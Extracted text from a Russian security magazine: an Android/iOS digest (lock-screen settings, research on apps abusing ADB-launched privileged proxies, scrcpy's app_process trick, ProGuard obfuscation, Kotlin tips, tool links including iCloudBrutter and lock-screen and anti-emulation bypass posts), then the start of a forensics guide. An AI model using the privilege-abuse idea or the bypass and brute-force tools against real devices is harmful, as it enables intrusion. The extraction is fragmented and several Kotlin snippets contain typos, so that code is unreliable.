
от клю чи панель уве дом лений на экра не бло киров ки: Settings → Passcode
→ Allow access when locked;

•

от клю чи показ про пущен ных звон ков на экра не бло киров ки: Settings → No‐
tifications → Phone → Show on Lock Screen;

•

от клю чи показ СМС на экра не бло киров ки: Settings → Notifications → Mes‐
sages → Show Previews;

•

от клю чи бло киров ку/раз бло киров ку с помощью чех ла: Settings → General
→ Lock/Unlock;

•

от клю чи камеру на экра не бло киров ки: Settings → General → Camera;•
ус танови циф ро‐бук венный пароль.•

(Не)безопас ность при ложе ний, исполь зующих ADB Workaround
 — иссле дова ние,  пос‐ 

вящен ное  безопас ности  при ложе ний,  исполь зующих  так  называ емый  ADB
Workaround для получе ния более высоких при виле гий в сис теме без root.

Analysing Use  of  High  Privileges  in  Android  Applications

Суть  в  сле дующем. В Android,  кро ме  так  называ емых  normal  и  dangerous
пол номочий, дос тупных любым при ложе ниям (вто рые толь ко с сог ласия поль‐ 
зовате ля), сущес тву ют так же пол номочия уров ня system и signature,  которые
поз воля ют при ложе ниям уста нав ливать и уда лять любой софт, делать скрин‐ 
шоты и скрин касты, бэкап и мно гие дру гие вещи, зап рещен ные обыч ным при‐ 
ложе ниям.

Пол номочия уров ня system дос тупны толь ко при ложе ниям, пос тавля емым
вмес те  с  про шив кой  (каталог  ),  пол номочия  signature  —
при ложе ниям,  под писан ным  клю чом  самой  про шив ки  (то  есть  тем,  который
раз работа ла ком пания — про изво дитель смар тфо на).

/system/priv‐app

Но  есть  один  трюк,  поз воля ющий  получить  пол номочия  уров ня  signature
даже при ложе ниям, не под писан ным клю чом про шив ки. Дело в том, что пол‐ 
номочия signature получа ет любой про цесс, запущен ный с помощью коман ды

. Некото рые раз работ чики поль зуют ся этим трю ком и встра ивают
в  свои  при ложе ния  спе циаль ные  прок си,  которые  затем  про сят  запус тить
поль зовате ля с помощью ADB или скрип та. Прок си получа ет коман ды от при‐ 
ложе ния и выпол няет при виле гиро ван ные опе рации.

adb shell

Ис сле дова тели про ана лизи рова ли код и поведе ние нес коль ких при ложе‐ 
ний, исполь зующих этот метод, и выяс нили, что они могут пред став лять серь‐ 
езную опас ность для их поль зовате лей. Нес мотря на то что боль шинс тво при‐ 
ложе ний исполь зуют пароль при под клю чении к прок си, обыч но этот пароль
либо зашит в само при ложе ние, либо генери рует ся динами чес ки, но сох раня‐ 
ется в дос тупный для чте ния файл.

В теории зло умыш ленник может соз дать тро ян, который будет экс плу ати‐ 
ровать эту уяз вимость, под клю чать ся к прок си и с его помощью делать сним‐ 
ки  экра на  или  записы вать  скрин касты.  И  все  это  без  получе ния  каких‐либо
прав в сис теме.

Про цесс обще ния при ложе ния и прок си в при ложе нии FREE screen
recorder NO ROOT

РАЗРАБОТЧИКУ

За пуск Java-кода с при виле гиями shell
 — статья об  ути лите  scrcpy,  поз воля ющей  в  одну  коман ду

получить на экра не ПК кар тинку с экра на телефо на, с воз можностью управле‐ 
ния с помощью мыши и кла виату ры. Одна ко инте рес на статья не этим, а тем,
что рас ска зыва ет, как эта ути лита работа ет.

Introducing scrcpy

Что бы получить  кар тинку  с  экра на,  scrcpy дол жна  заг рузить на  смар тфон
и выпол нить с пра вами adb shell код, который запус тит про цесс скрин кастин‐ 
га  экра на  и  переда чи  виде опо тока  на  комп.  И  ути лита  дела ет  это  весь ма
инте рес ным  обра зом.  Код,  запус каемый  на  смар тфо не,  написан  на  Java,
но это не при ложе ние для Android, а прос то запако ван ный в jar файл DEX.

Раз работ чик scrcpy объ ясня ет, как сде лать такое «неп риложе ние».
1. Пи шем при ложе ние на Java (при мер прос тей ший):

import android.os.SystemClock;
public class HelloWorld {
    public static void main(String... args) {
        System.out.print("Hello,");
        SystemClock.sleep(1000);
        System.out.println(" world!");
    }
}

2. Со бира ем при ложе ние:

$ javac ‐source 1.7 ‐target 1.7 \
    ‐cp "$ANDROID_HOME"/platforms/android‐27/android.jar
    HelloWorld.java

3. Пе рего няем его в DEX:

$ "$ANDROID_HOME"/build‐tools/27.0.2/dx \
    ‐‐dex ‐‐output classes.dex HelloWorld.class

4. За пако выва ем в jar:

$ jar cvf hello.jar classes.dex

5. За киды ваем на устрой ство и запус каем:

$ adb push hello.jar /data/local/tmp/
$ adb shell CLASSPATH=/data/local/tmp/hello.jar app_process / 
HelloWorld

Ву аля, мы получи ли при ложе ние,  которое нет необ ходимос ти  уста нав ливать
и которое име ет пра ва shell,  то есть может выпол нять мно гие при виле гиро‐ 
ван ные дей ствия, недос тупные обыч ным при ложе ниям (signature level permis‐
sion):  бэкап,  скрин кастинг,  сня тие  скрин шотов,  уста нов ку  и  уда ление  при‐ 
ложе ний.

Бо лее луч шая обфуска ция
 —  статья  о  том,  как  сде лать  обфуска‐ 

цию с помощью ProGuard более запутан ной. Ути лита ProGuard вхо дит в ком‐ 
плект Android Studio  и  пред став ляет  собой  сис тему опти миза ции  Java‐клас‐ 
сов.  Она  уда ляет  неис поль зуемый  код,  а  так же  сок раща ет  име на  клас сов,
методов  и  перемен ных,  делая  исполня емый  файл  мень ше.  Побоч ным
эффектом это го явля ется обфуска ция, ког да из‐за изме нения имен код ста‐ 
новит ся более труд ным для понима ния.

Improving ProGuard Name Obfuscation

По умол чанию ProGuard пере име новы вает клас сы, методы и поля, исполь‐ 
зуя  англий ский  алфа вит:  пер вый  пере име новы вает ся  в  a,  вто рой  в  b,  двад‐ 
цать  седь мой —  в  aa  и  так  далее.  Проб лема  такого  под хода  в  том,  что  он
очень  пред ска зуем;  взлом щику  при дет ся  разоб рать ся  в  тво ем  коде  толь ко
один раз, и он лег ко най дет нуж ный учас ток кода в дру гой вер сии при ложе‐ 
ния: его имя, ско рее все го, будет таким же.

Эту  проб лему  мож но  побороть,  исполь зуя  раз ные  сло вари.  В  интерне те
даже нашел ся сло варь, содер жащий 

, что дол жно помешать рас паков ке исполня емо го фай ла
в Windows, но на деле поч ти не работа ет. При меняя раз ные сло вари к каж дой
новой вер сии при ложе ния, мож но сде лать порядок генери рова ния имен неп‐ 
ред ска зуемым и запутать взлом щика.

зап рещен ные для исполь зования в Win‐
dows име на фай лов

Заг ружа ется  такой  сло варь  с  помощью  сле дующих  инс трук ций  в  фай ле
 внут ри про екта:proguard‐rules.pro

‐obfuscationdictionary method‐dictionary.txt
‐packageobfuscationdictionary package‐dictionary.txt
‐classobfuscationdictionary class‐dictionary.txt

Так же автор рекомен дует исполь зовать сле дующую опцию:

‐repackageclasses 'o'

Она  перемес тит  все  клас сы  в  пакет  ,  что  в  теории  дол жно  еще  силь нее
запутать взлом щика.

o

Inline-фун кции Kotlin
 — статья, пос вящен ная клю чево му сло ву inline,

которое  под ска зыва ет  ком пилято ру,  что  вмес то  вызова  фун кции  он  дол жен
встра ивать ее тело в то мес то, где про исхо дит вызов.

Demystifying the inline keyword

Inline‐фун кции  появи лись  в  Kotlin  по  при чине  избы точ ности  мес тной
реали зации  лямбд.  Каж дый  раз,  ког да  вызыва ется  фун кция,  которая  при‐ 
нима ет  лям бду  в  качес тве  аргу мен та,  вир туаль ной машине  при ходит ся  соз‐ 
давать ано ним ный объ ект для хра нения этой фун кции. А так как это зат ратная
в  пла не  ресур сов  опе рация,  раз работ чики  Koltin  при дума ли  решение:  если
объ явить фун кцию с клю чевым сло вом  inline,  то ком пилятор «раз вернет» эту
фун кцию и ее лям бду в пос ледова тель ный код.

Пра вило прос тое: если  твой  код мно жес тво раз вызыва ет фун кцию, при‐ 
нима ющую  лям бду  в  качес тве  аргу мен та,  луч ше  сде лать  ее  inline‐фун кци ей.
Так же запом ни сле дующие вещи:

Kotlin  1.1  поз воля ет  при менять  клю чевое  сло во  inline  так же  к  полям,
в которых исполь зуют ся гет теры и сет теры;

•

клю чевое сло во  return, выз ванное из лям бды, передан ной  inline‐фун кции,
будет  воз вра щать  не  из  лям бды  или  inline‐фун кции,  а  из  фун кции,  выз‐ 
вавшей inline‐фун кцию;

•

кро ме клю чево го сло ва inline, так же сущес тву ют noinline и crossinline. Пер‐ 
вое мож но исполь зовать в отно шении отдель но взя тых лямбд, ког да inline‐
фун кция при нима ет нес коль ко лямбд. Вто рое при годит ся в слу чае,  ког да
лям бда дол жна быть выпол нена в дру гом кон тек сте исполне ния. При мер:

•

inline fun exampleFun(crossinline body: () ‐> Unit) {
   Runnable {
       body()
   }.run()
}

15 инс тру мен тов, необ ходимых любому Android-раз работ чику
 —

статья об инс тру мен тах, которые при годят ся любому раз работ чику:
15 Android App Development Tools Required for Every Android App Developer

 — монитор про изво дитель нос ти при ложе ния: FPS, исполь зование
памяти, про цес сора и так далее;

• FlowUp

  —  инс тру мент  отладки  от  раз работ чиков  Facebook,  поз воля ет
иссле довать  иерар хию  эле мен тов  View,  базы  дан ных  SQLite  и  сетевые
опе рации через Chrome developer tools;

• Stetho

 — биб лиоте ка, сооб щающая об утеч ках памяти;• LeakCanary
 — сис тема уско рения сбор ки при ложе ний;• JRebel

 — набор инс тру мен тов для генера ции ико нок и дру гих
ресур сов при ложе ния;

• Android Asset Studio

  —  инс тру мент  для  быс тро го  озна ком ления  с  Android‐биб лиоте‐ 
ками (поз воля ет одной коман дой запус тить эму лятор с при ложе нием‐при‐ 
мером);

• DryRun

  —  Chrome‐пла гин  для  вза имо дей ствия  со  смар тфо ном  (выводит
изоб ражение с экра на и поз воля ет нажимать на него);

• Vysor

 — сре да для раз работ ки при ложе ний на BASIC;• B4A
  —  Android‐эму лятор  с  мас сой  полез ных  для  раз работ чика

фун кций;
• Genymotion

 — гра фичес кий кли ент Git;• Sourcetree
 — выводит в окно при ложе ния счет чик FPS;• Takt

 — пла гин Android Studio для поис ка на Stack Overflow, GitHub и Gist;• Codota
 — сре да раз работ ки как при ложе ние для Android;• AIDE

Android Studio.•

По лез ные кла виатур ные ком бинации Android Studio
 — крат кая замет ка с полез ными кла виатур‐ 

ными ком бинаци ями.
Android Studio Navigation Shortcuts

Ctrl + Shift + A (Command + Shift + A) — быс трый поиск дей ствий (эле мен‐ 
тов меню, таких как Generate signed APK...);

•

Ctrl + N (Command + O) — поиск клас сов;•
Ctrl + Shift + N (Shift + Command + O) — поиск фай лов;•
Shift два раза — поиск все го перечис ленно го выше;•
Ctrl + Alt + Left (Command + [) — пры жок в пре дыду щее мес то кода;•
Ctlr + Alt + Right (Command + ]) — пры жок в сле дующее мес то;•
Ctrl + E (Command + E) — пос ледние откры тые фай лы;•
Ctrl + Shift + Enter (Command + Shift + Enter) — авто допол нение.•

Продолжение статьи →

mailto:zobnin@glc.ru
https://play.google.com/store/apps/details?id=de.srlabs.snoopsnitch
https://github.com/brompwnie/uitkyk
https://github.com/Rprop/AndHook
https://github.com/cryptax/androidre
https://github.com/m4ll0k/iCloudBrutter
https://github.com/linkedin/qark
https://github.com/integrity-sa/droidstatx
https://github.com/meefik/avd-root
https://github.com/BishopFox/bfinject
https://github.com/BishopFox/bfdecrypt
http://www.juanurs.com/Bypassing-Android-Anti-Emulation-Part-I/
http://www.juanurs.com/Bypassing-Android-Anti-Emulation-Part-II/
http://blog.dinosec.com/2014/09/bypassing-ios-lock-screens.html
https://arxiv.org/pdf/1804.04605.pdf
https://blog.rom1v.com/2018/03/introducing-scrcpy/
https://proandroiddev.com/improving-proguard-name-obfuscation-83b27b34c52a
https://github.com/facebook/proguard/blob/master/examples/dictionaries/windows.txt
https://www.kotlindevelopment.com/inline-noinline-crossinline-reified/
https://medium.com/@seashorepartners/15-android-app-development-tools-required-for-every-android-app-developer-beb52e182f12
https://flowup.io/
http://facebook.github.io/stetho/
https://github.com/square/leakcanary
https://zeroturnaround.com/software/jrebel/
https://romannurik.github.io/AndroidAssetStudio/
https://github.com/cesarferreira/dryrun
https://chrome.google.com/webstore/detail/vysor/gidgenkbbabolejbgbpnhbimgjbffefm
https://www.b4x.com/b4a.html
https://www.genymotion.com/
https://www.sourcetreeapp.com/
https://github.com/wasabeef/Takt
https://www.codota.com/
http://www.android-ide.com/
https://medium.com/@n8ebel/android-studio-navigation-shortcuts-cdfc4f804694


ANDROID
ИНСТРУМЕНТЫ ПЕНТЕСТЕРА, УЯЗВИМОСТИ
ЭКРАНА БЛОКИРОВКИ IOS И МНОЖЕСТВО

СОВЕТОВ ПО KOTLIN

HEADER  НАЧАЛО СТАТЬИ←

31 день с Kotlin
. Весь март офи циаль ный твит тер‐акка унт Google,

пос вящен ный раз работ ке при ложе ний для Android ( ), пуб ликовал
корот кие, но очень полез ные замет ки о раз работ ке на язы ке Kotlin. Марк Гар‐ 
сия (Marc Garcia) соб рал их все вмес те в одной статье. При вожу мак сималь но
крат кую, но понят ную выжим ку.

Summary of #31DaysOfKotlin
@AndroidDev

1. Эл вис‐опе ратор (если null, то...):

val name: String = person.name ?: "unknown"

2. Стро ковые шаб лоны:

val text = "$language has ${language.length} characters"

3. Раз руша ющие объ явле ния:

val (red, green, blue) = color
val (x, y) = point

4. Опе ратор when:

return when (cargo) {
    null, 0 ‐> "empty"
    1 ‐> "tiny"
    2..10 ‐> "small"
    is Int ‐> "big inty"
    else ‐> "$cargo"
}

5. Цикл for:

for(i in 1..100) { /* ... */ }
for(i in 100 downTo 1) { /* ... */ }
for(i in 1 until array.size step 2) { /* ... */ }
for((index, element) in array.withIndex()) { /* ... */ }
for((key, value) in map) { /* ... */ }

6. Свой ства и поля:

class User {
    val id: String = "" // Неизменяемое поле
    var name: String = "" // Изменяемое поле
    var surname: String = "" // Изменяемое поле с кастомным 
геттером
        get() = surname.toUpperCase()
    var email: String = "" // Изменяемое поле с кастомным сеттером
        set(value) {
            if(isEmailValid()) field = value
        }
}

7. Клас сы  дан ных  (Kotlin  авто мати чес ки  добав ляет  к  ним  методы  equals(),
toString() и copy()):

data class User(val name: String, val email: String /* ... */ )

8. Мо дифи като ры видимос ти:

val isVisible = true
private val isHidden = true
internal val almostVisible = true

9. Ар гумен ты по умол чанию:

class BulletPointSpan(
    private val bulletRadius: Float = DEFAULT_BULLET_RADIUS,
    private val gapWith: Int = DEFAULT_GAP_WIDTH,
    private val color: Int = Color.BLACK
) { /* ... */ }
val bulletPointSpan = BulletPointSpan()
val bulletPointSpan2 = BulletPointSpan(resources.getDimension(R.
dimen.radius))
val bulletPointSpan3 = BulletPointSpan(color = Color.RED)

10. Изо лиро ван ные клас сы (по сути про качан ный enum):

sealed class NetworkResult
data class Success(val result: String): NetworkResult()
data class Failure(val error: Error): NetworkResult()
viewModel.data.observe(this, 
    Observe<NetworkResult> { data ‐>
        data ?: return@Observer
        when (data) {
            is Success ‐> showResult(data.result)
            is Failure ‐> showError(data.error)
        }
})

11. Ле нивая  ини циали зация  (перемен ная  ини циали зиру ется  в  момент  пер‐ 
вого дос тупа):

val preferences: String by lazy { sharedPreferences.getString(
PREFERENCE_KEY) }

12. Ини циали зиру емые поз же не null‐перемен ные:

lateinit var recyclerView: RecyclerView
...
recyclerView = findViewById(R.id.recycler_view)

13. Про вер ка аргу мен тов (выб расыва ет IllegalArgumentException, если усло вие
не соб людено):

require(name.isNotEmpty()) { "Invalid name" }

14. Ин лайн‐фун кции (их тело будет встро ено в код вмес то вызова):

inline fun onlyIf(check: Boolean, operator: () ‐> Unit) {
    if (check) { operation() }
}

15. Вы зов фун кций, объ явленных из клас са с помощью Java:

@file:JvmName("ShapeGenerator")
package com.shapes
fun generateSquare() = Square()
fun generateTriangle() = Triangle()
// Вызов из Java
ShapesGenerator.generateSquare()

16. Па рамет ры вещес твен ного типа:

// Обычно мы делаем так
val alarmManager = context.getSystemService(AlarmManager::class.
java)
// Но можем упростить этот код до такого
val alarmManager: AlarmManager = context.systemService()
// Для этого достаточно такой функции
inline fun <refied T> Context.systemService() = getSystemService(T
::class.java)

17. Де леги рова ние  (переда ча  ответс твен ности  за  хра нение  сос тояния
перемен ной дру гому коду):

class MyAnimationView : View( /* ... */ ) {
  var foregroundX by InvalidateDelegate(0f)
}
class InvalidateDelegate<T : Any>(var value: T) {
  operator fun getValue(thisRef: View, property: KProperty<*>) = 
value
  operator fun setValue(thisRef: View, property: KProperty<*>, 
value: T) {
    this.value = value
    thisRef.postInvalidateOnAnimation()
  }
}

18. Фун кции рас ширения (поз воля ют добавить свой метод в любой класс):

inline fun String.toUri(): Uri = Uri.parse(this)
val myUri = "www.developer.android.com".toUri()

19. Кон верти рова ние Drawable в Bitmap (с помощью биб лиоте ки  ):Android KTX

val myDrawable = ContextCompat.getDrawable(context, R.drawable.
icon)
val bitmap = myDrawable.toBitmap()

20. Пос ледова тель нос ти:

val sequence = List(50= { it * 5}.asSequence()
sequence.map    { it * 2 }
        .filter { it % 3 == 0 }
        .map    { it + 1 }
.toList() 

21. Пе рег рузка опе рато ров:

inline operator fun Spannable.plusAssign(span: Any) =
        setSpan(span, 0, length, SPAN_INCLUSIVE_EXCLUSIVE)
val spannable = "Eureka!!!!".toSpannable()
spannable += StyleSpan(BOLD)
spannable += UnderlineSpan()

22. Фун кции без клас сов:

@BindingAdapter("userItems")
fun userItems(recyclerView: RecycleView, list: List<User>?) {
    ...
}

23. Ите рато ры  биб лиоте ки  Android  KTX  (поз воля ют  про ходить  в  цик ле,  нап‐ 
ример, по ViewGroup и SparseArray):

for (view in ViewGroup) { }
for (key in SparseArray.keyIterator()) { }

24. Уп рощен ная работа с Content Values с помощью Android KTX:

val contentValues = contentValuesOf(
    "KEY_INT" to 1,
    "KEY_LONG" to 2L,
    "KEY_BOOLEAN" to true,
    "KEY_NULL" to null
)

25. DSL (Kotlin поз воля ет соз давать «язы ки в язы ке» для спе циаль ных нужд):

frameLayout {
    button("Light a fire") {
        onClick {
            lightAFire()
        }
    }
}

26. Уп рощен ная работа с бан дла ми с помощью Android KTX:

val bundle = bundleOf(
    "KEY_INT" to 1,
    "KEY_LONG" to 2L,
    "KEY_BOOLEAN" to true,
    "KEY_NULL" to null,
    "KEY_ARRAY" to arrayOf(1, 2)
}

27. Лям бды:

fun Handler.postDelay(delay: Int /* ... */, action: () ‐> Unit)
handler.postDelay(50) {
    ...
}

28. Уп рощение работы со Spannable с помощью Android KTX:

val string = buildSpannableString {
    append("no styling text")
    bold {
        append("bold")
        italic { append("bold and italic") }
    }
    inSpans(RelativeSizeSpan(2f), QuoteSpan()) {
        append("double sized quote text")
    }
}

29. Биб лиоте ка  :Parcelize

@Parcelable
data class User(val name: String, val occupation: Work): Parcel
able

30. Рас ширен ный Android API с помощью Android KTX:

view.updatePadding(left = newPadding)
view.updatePadding(top = newPadding)
view.updatePadding(right = newPadding)
view.updatePadding(bottom = newPadding)

31. Фун кции let, apply, with, also и run:

val string = "a"
val result = string.apply {
    // Этот код будет выполнен в контексте объекта string 
}

Инс тру мен ты
  —  очень  прос тая  в  исполь зовании  ути лита  для  вывода  кар тинки

с телефо на на комп и вза имо дей ствия с телефо ном; тре бует толь ко ADB
и не тре бует root;

• Scrcpy

 — инс тру мент отладки и под водки интерфей са при ложе‐ 
ния,  по  сво ей  сути  напоми нающий  Developer  console  в  бра узе рах;  поз‐ 
воля ет прос матри вать и изме нять атри буты, про изво дить замеры эле мен‐ 
тов  интерфей са,  показы вать  лог  при  падении  при ложе ния,  про изво дить
быс трую очис тку дан ных при ложе ния, и все это из скры того меню в самом
при ложе нии;

• Hyperion‐Android

 — биб лиоте ка для сбо ра дан ных о про изво дитель нос ти при ложе ния
от Facebook;

• Profilo

  —  спи сок  сер тифици рован ных  Google
устрой ств, сов мести мых с Google Play.

• Сер тифици рован ные  устрой ства

БИБЛИОТЕКИ

 — готовый к исполь зованию View с реали заци ей гра фичес кого
редак тора в сти ле Paint;

• PhotoEditor

 — откры тый бра узер на базе Chrome для тех, кто хочет разоб рать ся,
как сде лать ана лог;

• Lynket

 — биб лиоте ка для кон верта ции JSON в data‐клас сы Kotlin;• Json2Kotlin
  —  рас ширен ные  клас сы  VectorDrawable  и  AnimatedVectorDrawable

с допол нитель ными фун кци ями;
• Kyrie

  —  осно ван ная  на  Glide  биб лиоте ка  для  уда лен ной  заг‐ 
рузки и показа SVG‐изоб ражений;

• GlideToVectorYou

  —  рас ширен ная  вер сия  гра фичес кого  эле мен та
BottomNavigationView (меню с кноп ками вни зу экра на);

• BottomNavigationViewEx

 —  биб лиоте ка  для  соз дания  гра диен тной  ани мации  в  сти ле  Insta‐
gram и Spotify;

• Spark

 — поз воля ет задать любому View опре делен ную фор му;• ShapeOfView
  —  меню  вни зу  экра на  в  сти ле  Material

Design;
• ModalBottomSheetDialogFragment

 —  удоб ная  в  исполь зовании  и  мощ ная  биб лиоте ка
для ани мации эле мен тов интерфей са;

• Kotlin  Please  Animate

 — тень для ImageView;• ElevationImageView
 —  меню  быс тро го  дос тупа  по  нажатию

FloatingActionButton (круг лая кноп ка вни зу экра на);
• Floating  Action  Button  Speed  Dial

 — поз воля ет встро ить YouTube в при ложе ние;• android‐inline‐youtube‐view
 — биб лиоте ка валида ции полей вво да;• convalida
 — поз воля ет менять локаль при ложе ния без переза пус ка.• LocaleText
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Иван Пискунов

COVERSTORY

Ес ли ты ког да‐нибудь садил ся за чужой компь ютер, вос кли‐ 
цал  «Елки‐пал ки,  да  что  же  тут  тво рилось‐то?!»  и  пытал ся
разоб рать ся (а не начис то фор матиро вал винт), то поз драв‐ 
ляю:  ты  уже занимал ся форен зикой.  Толь ко  у  спе циалис тов
круг  задач  нам ного шире:  они  рас сле дуют  инци ден ты,  ана‐ 
лизи руют  тра фик,  ищут  сок рытые  дан ные  и  про чие  ули ки.
Хочешь  стать  одним  из  таких  спе цов?  Тог да  давай  пос‐ 
мотрим  на  осно вы  это го  мас терс тва  и  соберем  кол лекцию
ути лит  и  ссы лок  на  ресур сы,  которые  помогут  про качать
скилл.

ФОРЕНЗИКА КАК НАУКА О РАССЛЕДОВАНИИ
КИБЕРПРЕСТУПЛЕНИЙ

Во обще,  «форен зика» — это  каль ка  с  англий ско го  сло ва  forensics,  которое,
в свою оче редь,  явля ется сок ращен ной фор мой от  forensic  science,  «судеб‐ 
ная  наука»,  то  есть  наука  об  иссле дова нии  доказа тель ств.  В  рус ском
это  понятие  чаще  называ ют  кри мина лис тикой,  а  сло во  «форен зика»  зак‐ 
репилось за компь ютер ной ее частью.

Фо рен зика — это удел спе цов из групп быс тро го реаги рова ния, которые
вклю чают ся  в  работу,  если  про изо шел  инци дент,  нап ример  взлом  веб‐сер‐ 
вера  или  утеч ка  кон фиден циаль ной  информа ции,  шиф рование  цен ных  дан‐ 
ных и тому подоб ные проб лемы. Перед экспер тами‐кри мина лис тами в таком
слу чае ста вят ся сле дующие задачи:

по нять, как была реали зова на ата ка;•
пос тро ить сце нарий взло ма;•
вос ста новить хро ноло гию (тай млайн) ата ки;•
соб рать  арте фак ты  (в  смыс ле,  не  меч  Арма гед дона  и  не  свя той  Гра аль,
а оставши еся пос ле ата ки сле ды);

•

пред ложить  пре вен тивные  защит ные меры,  что бы  такого  впредь  не  пов‐ 
торилось.

•

От дель но  в  этой  цепи  сущес тву ет  этап 
 по фак ту инци ден та ИБ. К при меру, для судеб ных орга нов или иных

ком петен тных в рас сле дова нии инци ден та струк тур.

фор мирова ния  экспертно го  зак‐ 
лючения

Сей час все боль ше круп ных ком паний из тех, что име ют свой бренд услуг
ИБ,  в  обя затель ном  поряд ке  заводят  спе циали зиро ван ную  лабора торию
и штат из нес коль ких экспер тов по форен зике. Так же форен зика час то идет
в сос таве услуг ком паний, которые далеки от сфе ры ИТ и занима ются, к при‐ 
меру, финан совым  ауди том. Ведь  при  рас сле дова нии финан сового мошен‐ 
ничес тва  до  100%  всех  доказа тель ств  может  содер жать ся  в  компь ютер ных
сис темах (ERP, CRM, BI, BPM и так далее).

Ну  и  конеч но,  экспер ты  по  форен зике  —  это  неотъ емле мая  часть
«управле ния К». Ведь что бы воз будить уго лов ное дело по фак там компь ютер‐ 
ных  прес тупле ний,  сна чала  по  нор мам  законо датель ства  необ ходимо  под‐ 
твер дить сам факт прес тупле ния и опре делить его сос тав. Ана логич но, если
пос тра дав шая сто рона обра щает ся в суд за взыс кани ем ущер ба, воз никше го
из‐за взло ма, — тут уже без экспер тизы никак не обой тись.

От дель ная  тема  —  рас сле дова ние  целенап равлен ных  атак,  или  APT.  Их
суть  сво дит ся  к  взло му  целевых  сис тем  с  исполь зовани ем  раз нооб разных
век торов  атак,  инс тру мен тов,  изощ ренных  тех ник  и  методов,  неиз вес тных
до нас тояще го момен та. На эту тему, кста ти, в нашем жур нале есть нес коль ко
доб ротных  ста тей,  вот  тут  ,  недав ней 

 и неболь шой теорией   и  .
с  раз бором  двух  кей сов ис тори ей

со Сбер банком тут тут
Сто ит ли говорить, что   тра дици онно при сутс тву ют и в
?  Поэто му  без  зна ния  хотя  бы  базовых  тех ник  рас сле дова ний  не  обой‐ 

тись. Кому инте рес но, есть при меры раз бора   и вот  . А некото рые час то
исполь зуемые тул зы, иду щие в ход на CTF, мы рас смот рим чуть ниже.

тас ки на форен зику
CTF

тут тут

КЛАССИФИКАЦИЯ

Лю бая  наука  склон на  делить ся  на  более  мел кие  темы.  Что бы  окон чатель но
почувс тво вать  себя  в  инсти туте,  давай  при кинем  кар ту  клас сифика ции
нашего пред мета.
•  — к ней отно сит ся все, что свя зано с поис ком арте‐ 
фак тов  взло ма  на  локаль ной  машине:  ана лиз  RAM,  HDD,  реес тра,  жур‐ 
налов ОС и так далее.

Computer forensics

• , как понят но из наз вания, име ет отно шение к рас сле‐ 
дова ниям  в  области  сетево го  сте ка  —  нап ример,  дам пу  и  пар сингу
сетево го тра фика для выяв ления таких инте рес ных вещей, как  , 

,   и тому подоб ное.

Network forensics

RAT reverse
shell backdoor‐тун нели

•   пос вящена  ана лизу  фай лов,  струк тур  дан ных
и  бинар ных  пос ледова тель нос тей,  оставших ся  пос ле  ата ки  или  исполь‐ 
зовав шихся при втор жении.

Forensic  data  analysis

•   занима ется  всем,  что  каса ется  осо бен ностей
извле чения дан ных из Android и iOS.
Mobile device  forensics

•  — экспер тиза аппа рат ного обес печения и тех ничес‐ 
ких устрой ств (при меры  ,   и  , все ссыл ки — на PDF). Это нап‐ 
равле ние  наиме нее  популяр но  и  наибо лее  слож но. Сюда  вхо дит  раз бор
дан ных на низ ком уров не (мик рокон трол лера, про шив ки или BIOS), ресерч
спе цифи чес ких  осо бен ностей  работы  устрой ства,  к  при меру  диапа зона
час тот  работы Wi‐Fi‐передат чика  или  внут ренне го  устрой ства  ским мера,
уста нав лива емо го на бан коматы.

Hardware forensic

тут тут еще тут

МЕТОДЫ И ТЕХНИКИ ЭКСПЕРТИЗЫ

Как и в слу чае с ана лизом мал вари, есть два основных под хода к экспер тизе
взло ман ной  машины  —    и    ана лиз.  Задачи  ста‐ 
тичес кого ана лиза — соз дать (ско пиро вать) образ жес тко го дис ка или дам па
опе ратив ной памяти, выявить и вос ста новить уда лен ные фай лы, остатки ано‐ 
маль ных фай лов в %TEMP% и сис темных дирек тори ях, соб рать исто рию сер‐ 
финга  веб‐бра узе ра,  сис темные  логи  (события  авто риза ции,  аудит  дос тупа
к фай лам и дирек тори ям и так далее), получить спи сок запущен ных в памяти
про цес сов и откры тых кон нектов сети.

ста тичес кий ди нами чес кий

Ди нами чес кий ана лиз,  или  live‐ана лиз,  исполь зует  нарез ку  из 
сис темы,  запус каемой  в  раз личных  усло виях  для  получе ния  пол ной  кар тины
про исхо дяще го. К при меру, мал варь склон на уда лять свой код и сле ды инфи‐ 
циро вания пос ле опре делен ных дей ствий. И если снап шот взло ман ной сис‐ 
темы был снят до это го момен та, есть реаль ный шанс получить дан ные о том,
что эта мал варь делала на  компь юте ре жер твы. Соот ветс твен но,  в  качес тве
под шивки элек трон ных сви детель ств здесь могут выс тупать скрин шоты, логи
кон нектов  в  сеть,  переда ваемый  тра фик,  срав нение  сос тояния  фай ловой
сис темы ОС до и пос ле инци ден та.

снап шотов

Есть неп лохая   (PDF) на англий ском язы ке, где вкрат це опи сыва‐ 
ются  и  срав нива ются  эти  методы.  И  еще  одна    —
на небезыз вес тном пор тале InfoSec Resources.

ста тей ка
об зорная  пуб ликация

ОСНОВНЫЕ ИНСТРУМЕНТЫ

Пер вое, что нуж но сде лать в начале экспер тизы, — это соб рать и сох ранить
информа цию,  что бы  затем  мож но  было  вос ста нав ливать  хро ноло гию
и поведен ческую кар тину инци ден та.

Да вай  пос мотрим,  какие  инс тру мен ты  по  умол чанию  дол жны  быть
в «поход ном чемода не» экспер та. Нач нем с самого глав ного — сня тия обра‐ 
за дис ка для пос леду юще го ресер ча в лабора тор ных усло виях.

WARNING

Всег да  ясно  и  чет ко  осоз навай,  какое  имен но
дей ствие и для чего ты совер шаешь. Неп равиль‐ 
ное  исполь зование  при веден ных  в  тек сте  статьи
прог рамм может при вес ти к потере информа ции
или  иска жению  получен ных  дан ных.  Ни  автор,
ни  редак ция  не  несут  ответс твен ности  за  любой
ущерб,  при чинен ный  из‐за  неп равиль ного
исполь зования матери алов дан ной статьи.

Соз даем обра зы дис ка, раз дела или отдель ного сек тора
 — неп лохой  инс тру мент  для  кло ниро вания  носите лей  дан ных

в Windows.
• FTK  Imager

 (а так же adulau/dcfldd) — улуч шенные вер сии стан дар тной кон соль‐ 
ной ути литы dd в Linux.

• dc3dd

 — спе циали зиро ван ное при ложе ние для соз дания точ ных копий
носите лей (написа но на C++, на базе Qt).

• Guymager

 или   — ком бай ны «все в одном» для прос мотра, соз дания,
изме нения, копиро вания любых дан ных, раз делов, отдель ных сек торов.

• Paragon Acronis

Об работ ка сфор мирован ных обра зов дис ков
 — ути лита на Python, которая работа ет из коман дной стро ки

и помога ет быс тро мон тировать обра зы дис ков.
• Imagemounter

 — тул за и вмес те с ней биб лиоте ка для обра бот ки фор матов EWF
( ).

• Libewf
Encase Image file Format

  —  кро хот ная  CLI‐ути лит ка  для  кон верти рова ния  обра зов  дис ков
